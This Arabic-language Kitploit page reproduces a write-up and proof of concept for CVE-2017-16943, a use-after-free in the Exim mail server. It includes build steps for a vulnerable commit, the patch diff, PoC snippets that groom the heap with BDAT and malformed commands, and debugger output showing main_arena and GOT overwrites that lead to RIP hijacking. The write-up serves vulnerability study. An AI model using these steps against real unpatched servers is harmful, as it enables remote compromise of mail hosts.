Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2017-16943 — تحليل فني وإثبات المفهوم لـ CVE-2017-16943، وهو استخدام بعد التحرير في دالة receive_msg في Exim، يوضح التلاعب بالكومة واختطاف RIP. | Kitploit
أدوات/GitHubGitHub/beraphin/cve-2017-16943
تحليل الذاكرة الجنائيتحليل الثغرات الأمنيةالاستغلالمصممي الأخطاءالتعلم والتعليماستغلال الملفات الثنائية
GitHubberaphin/cve-2017-16943

CVE-2017-16943

تحليل فني وإثبات المفهوم لـ CVE-2017-16943، وهو استخدام بعد التحرير في دالة receive_msg في Exim، يوضح التلاعب بالكومة واختطاف RIP.

عرض المستودع
14منذ 6 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2017-16943

إعداد البيئة

root@kitploit:~
git clone https://github.com/Exim/exim.git
git checkout 01c594601670c7e48e676d6c6d32d0f0084067fa
cd ./exim/src
mkdir Local
wget "https://bugs.exim.org/attachment.cgi?id=1051" -O Makefile

عدّل متغيرات المسار واسم المستخدم في ملف Makefile

root@kitploit:~
cd ..
make -j8
sudo make install

بعد التثبيت، غيّر accept hosts = : إلى accept hosts = * في إعدادات configure شغّل:

root@kitploit:~
exim -bdf -d-receive

تحليل الثغرة

هذه الثغرة هي ثغرة استخدام بعد التحرير (UAF)، وتحدث في الدالة receive_msg الموجودة في receive.c، وهذه الدالة مسؤولة عن استقبال المدخلات من العميل. لنلقِ نظرة على سجل التصحيح:

root@kitploit:~
 src/src/receive.c | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/src/src/receive.c b/src/src/receive.c
index e7e518a..d9b5001 100644
--- a/src/src/receive.c
+++ b/src/src/receive.c
@@ -1810,8 +1810,8 @@ for (;;)
   (and sometimes lunatic messages can have ones that are 100s of K long) we
   call store_release() for strings that have been copied - if the string is at
   the start of a block (and therefore the only thing in it, because we aren't
-  doing any other gets), the block gets freed. We can only do this because we
-  know there are no other calls to store_get() going on. */
+  doing any other gets), the block gets freed. We can only do this release if
+  there were no allocations since the once that we want to free. */
 
   if (ptr >= header_size - 4)
     {
@@ -1820,9 +1820,10 @@ for (;;)
     header_size *= 2;
     if (!store_extend(next->text, oldsize, header_size))
       {
+      BOOL release_ok = store_last_get[store_pool] == next->text;
       uschar *newtext = store_get(header_size);
       memcpy(newtext, next->text, ptr);
-      store_release(next->text);
+      if (release_ok) store_release(next->text);
       next->text = newtext;
       }
     }

أولاً، دعنا نوضح دور بعض المتغيرات العامة:

root@kitploit:~
current_block: كتلة التخزين الحالية، وعند استدعاء store_get_3 في المرة القادمة يتم البحث عن منطقة فارغة في هذه الكتلة أولاً
next_yield: يشير إلى عنوان بداية المنطقة الفارغة داخل current_block، وبشكل عام يُستخدم النصف العلوي من storeblock ويظل النصف السفلي فارغاً
yield_length: طول next_yield

من خلال تحليل PoC الخاص بـ meh، يمكننا أن نرى أن البرنامج غير المُصحح يمكنه تفعيل ثغرة UAF عبر عملية تخطيط الكومة التالية: أولاً، في الدالة receive_msg، اجعل next->text يصبح المخزن المؤقت الابتدائي لكتلة storeblock: 1

ثم استخدم أمر bdat لتخصيص مخزن مؤقت أسفل ذلك النص
لماذا نستخدم أمر bdat؟
في الحقيقة، يمكن لكل من auth plain والأوامر غير القانونية المكوّنة من أحرف غير مرئية تخصيص مخزن مؤقت أسفل النص، لكن الأوامر الأخرى ستؤدي إلى خروج الدالة receive_msg
وبعد الدخول إلى receive_msg مرة أخرى، سيشير next->text إلى منطقة أخرى، لذا لا يمكن تفعيل الثغرة
أما أمر bdat فلن يخرج الدالة receive_msg الحالية، وهذا أمر بالغ الأهمية 2

ثم أرسل الأحرف باستمرار لملء next_text (ابتداءً من 0x100)، وعندها سينتقل البرنامج إلى نقطة الثغرة
في store_extend، يكتشف البرنامج أن وجود مخزن bdat المؤقت يمنع التمديد، لذا ينفذ store_get للحصول على المنطقة التي يشير إليها next_yield، ثم يستدعي الدالة store_release
هذه الدالة تتحقق فقط مما إذا كانت وسيطة release هي بداية storeblock، لكنها لا تتحقق مما إذا كانت هناك مخازن مؤقتة أخرى خلفها، ثم تقوم بتحرير storeblock مباشرة
هذا يؤدي إلى أن العنوان الذي يعيده store_get يظل داخل current_block، لكن يتم تحرير current_block بعد ذلك مباشرة، مما يسبب ثغرة UAF

اختطاف RIP

هنا نشرح خطوة بخطوة كيفية اختطاف RIP بالاعتماد على كود الـ PoC

root@kitploit:~
ehlo('test')
r.sendline("MAIL FROM:<test@localhost>")
r.recvline()
r.sendline("RCPT TO:<test@localhost>")
r.recvline()
unrec('a'*0x1100+'\x7f')

أولاً، نرسل مجموعة من البيانات، والهدف من ذلك هو جعل yield_length أصغر من 0x130 لكن أكبر من 0x30
لماذا نحتاج إلى ذلك؟ لننظر إلى بداية الدالة receive_msg:

root@kitploit:~
...
File: receive.c
1700: received_header = header_list = header_last = store_get(sizeof(header_line));
1701: header_list->next = NULL;
1702: header_list->type = htype_old;
1703: header_list->text = NULL;
1704: header_list->slen = 0;
1705: 
1706: /* Control block for the next header to be read. */
1707: 
1708: next = store_get(sizeof(header_line));
1709: next->text = store_get(header_size);
...

يمكن ملاحظة أنه قبل تخصيص next->text يتم تخصيص مخزنين مؤقتين بحجم sizeof(header_line)، وهذا الحجم هو 0x18
لذا إذا كان المتبقي yield_length بعد تخصيص هاتين الكتلتين بحجم 0x18 أقل من 0x100،
فعند تخصيص next->text سيقوم store_get بتخصيص storeblock جديد، وسيكون next->text في بداية هذا storeblock

ثم نستدعي أمر bdat

root@kitploit:~
r.sendline('BDAT 1')
r.sendline(':BDAT \xdd')

يحتوي هذا الأمر على حرف غير مرئي، مما يؤدي إلى استدعاء store_get لتخصيص مخزن مؤقت لتخزين رسالة الخطأ:

root@kitploit:~
pwndbg> hexdump 0x71d0e0 
+0000 0x71d0e0  42 44 41 54  20 5c 33 33  35 00 20 63  68 75 6e 6b  │BDAT│.\33│5..c│hunk│
+0010 0x71d0f0  35 30 31 20  6d 69 73 73  69 6e 67 20  73 69 7a 65  │501.│miss│ing.│size│
+0020 0x71d100  20 66 6f 72  20 42 44 41  54 20 63 6f  6d 6d 61 6e  │.for│.BDA│T.co│mman│
+0030 0x71d110  64 0a 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │d...│....│....│....│

(لاحظ أنه إذا كانت الأوامر غير القانونية تحتوي على أحرف غير مرئية، فسيؤدي ذلك أيضاً إلى تخصيص كتل كومة إضافية)

في هذه المرحلة، نرسل الأحرف باستمرار:

root@kitploit:~
unrec('a'*6 + p64(0xdeadbeef)*(0x1e00/8))

عندها سيتم ملء next->text بالأحرف المستلمة بايتاً ببايت، وعند امتلاء المنطقة الفارغة بحجم 0x100، سيتم الانتقال إلى كود الثغرة لتوسيع حجم next->text
أولاً، يتم الدخول إلى store_extend(next->text, oldsize, header_size) لمحاولة توسيع الحجم مباشرة:

root@kitploit:~
File: store.c
266: BOOL
267: store_extend_3(void *ptr, int oldsize, int newsize, const char *filename,
268:   int linenumber)
269: {
270: int inc = newsize - oldsize;
271: int rounded_oldsize = oldsize;
272: 
273: if (rounded_oldsize % alignment != 0)
274:   rounded_oldsize += alignment - (rounded_oldsize % alignment);
275: 
276: if (CS ptr + rounded_oldsize != CS (next_yield[store_pool]) ||
277:     inc > yield_length[store_pool] + rounded_oldsize - oldsize)
278:   return FALSE;
...

التحقق الرئيسي يقع في السطرين 276~277
الشرط الأول يتحقق مما إذا كان المؤشر ptr المراد توسيعه متبوعاً مباشرة بـ next_yield
الشرط الثاني يتحقق مما إذا كان الحجم بعد إضافة حجم next_yield (أي yield_length) كافياً
من الواضح أن الشرط الأول غير محقق، لأن next->text يتبعه مخزن bdat المؤقت، وبعده فقط يأتي next_yield

ثم يتم الدخول إلى store_get لتخصيص كتلة جديدة، ويتم تخصيصها عند next_yield
بعد ذلك يتم استدعاء store_release لتحرير next_text الأصلي، لاحظ منطق التحقق هنا:

root@kitploit:~
File: store.c
448: void
449: store_release_3(void *block, const char *filename, int linenumber)
450: {
451: storeblock *b;
452: 
453: /* It will never be the first block, so no need to check that. */
454: 
455: for (b = chainbase[store_pool]; b != NULL; b = b->next)
456:   {
457:   storeblock *bb = b->next;
458:   if (bb != NULL && CS block == CS bb + ALIGNED_SIZEOF_STOREBLOCK)
459:     {
...
482:     free(bb);
483:     return;
484:     }
485:   }
486: }
487: 

يقوم البرنامج بالبحث من chainbase على طول مؤشر next الخاص بـ storeblock، وإذا وجد أن الكتلة المحررة تقع في بداية أحد storeblock (الشرط الثاني في السطر 455)
فإن هذا storeblock سيتم تحريره
لكن في هذه اللحظة، current_block يشير إلى هذه الكتلة، و next_text الجديد يقع أيضاً داخل هذه الكتلة، لذا تحدث ثغرة UAF
بعد تحرير الكتلة، يتم وضع current_block في unsorted bin:

root@kitploit:~
pwndbg> tel &current_block
00:0000│   0x6e8ec0 (current_block) —▸ 0x71cfd0 —▸ 0x7ffff69abb78 (main_arena+88) —▸ 0x725020 ◂— 0x0
01:0008│   0x6e8ec8 (current_block+8) —▸ 0x723010 ◂— 0x0
02:0010│   0x6e8ed0 (current_block+16) ◂— 0x0
... ↓
04:0020│   0x6e8ee0 (chainbase) —▸ 0x70ff80 ◂— 0x0
05:0028│   0x6e8ee8 (chainbase+8) —▸ 0x6f3b30 —▸ 0x6f8cb0 —▸ 0x71eff0 —▸ 0x723010 ◂— ...
06:0030│   0x6e8ef0 (chainbase+16) ◂— 0x0
... ↓
pwndbg> 

عند هذه النقطة يتم إضافة main_arena إلى سلسلة storeblock

مع استمرار إدخال الأحرف، يقوم next->text الأصلي باستدعاء store_extend باستمرار لتوسيع الحجم،
على الرغم من أن current_block تم تحريره بالفعل، إلا أن next_yield ما زال يشير إلى داخل current_block، مما يجعل next->text يستمر في التوسع عبر store_extend حتى يمتلئ current_block بالكامل
أخيراً، عندما يتعذر التوسع، يتم الدخول إلى store_get مرة أخرى للحصول على كتلة كومة جديدة:

root@kitploit:~
File: store.c
128: void *
129: store_get_3(int size, const char *filename, int linenumber)
130: {
...
137: if (size % alignment != 0) size += alignment - (size % alignment);
138: 
139: /* If there isn't room in the current block, get a new one. The minimum
140: size is STORE_BLOCK_SIZE, and we would expect this to be the norm, since
141: these functions are mostly called for small amounts of store. */
142: 
143: if (size > yield_length[store_pool])
144:   {
145:   int length = (size <= STORE_BLOCK_SIZE)? STORE_BLOCK_SIZE : size;
146:   int mlength = length + ALIGNED_SIZEOF_STOREBLOCK;
147:   storeblock * newblock = NULL;
148: 
149:   /* Sometimes store_reset() may leave a block for us; check if we can use it */
150: 
151:   if (  (newblock = current_block[store_pool])
152:      && (newblock = newblock->next)
153:      && newblock->length < length
154:      )
155:     {
156:     /* Give up on this block, because it's too small */
157:     store_free(newblock);
158:     newblock = NULL;
159:     } 
...

يمكن ملاحظة أنه في السطور 151~153 يحاول البرنامج الحصول على current_block->next والتحقق مما إذا كانت هذه الكتلة كبيرة بما يكفي لتخصيصها، وإذا لم تكن كذلك فسيتم تحريرها عبر store_free
لاحظ أن current_block موجود الآن في unsorted bin، و current_block->next يشير إلى main_aren، والشرط الأخير لن يتحقق، لذا في هذه الحالة newblock = main_arena

root@kitploit:~
File: store.c
176:   current_block[store_pool] = newblock;
177:   yield_length[store_pool] = newblock->length;
178:   next_yield[store_pool] =
179:     (void *)(CS current_block[store_pool] + ALIGNED_SIZEOF_STOREBLOCK);
180:   (void) VALGRIND_MAKE_MEM_NOACCESS(next_yield[store_pool], yield_length[store_pool]);
181:   }
...
186: store_last_get[store_pool] = next_yield[store_pool];
...
211: return store_last_get[store_pool];

عندها يقوم البرنامج بإرجاع main_arena مباشرة كمخزن مؤقت جديد، ثم في السطر 1824 يتم نسخ محتويات الكتلة الأصلية إلى الكتلة الجديدة، أي الكتابة فوق main_arena

root@kitploit:~
File: receive.c
1816:   if (ptr >= header_size - 4)
1817:     {
1818:     int oldsize = header_size;
1819:     /* header_size += 256; */
1820:     header_size *= 2;
1821:     if (!store_extend(next->text, oldsize, header_size))
1822:       {
1823:       uschar *newtext = store_get(header_size);
1824:       memcpy(newtext, next->text, ptr);
1825:       store_release(next->text);
1826:       next->text = newtext;
1827:       }
1828:     }

هذه الكتابة ستقوم بالكتابة فوق free_got مباشرة، لذا يمكن اختطاف RIP بأي عملية لاحقة بسيطة

المراجع

https://bugs.exim.org/show_bug.cgi?id=2199

https://paper.seebug.org/469/

تنزيل الأداة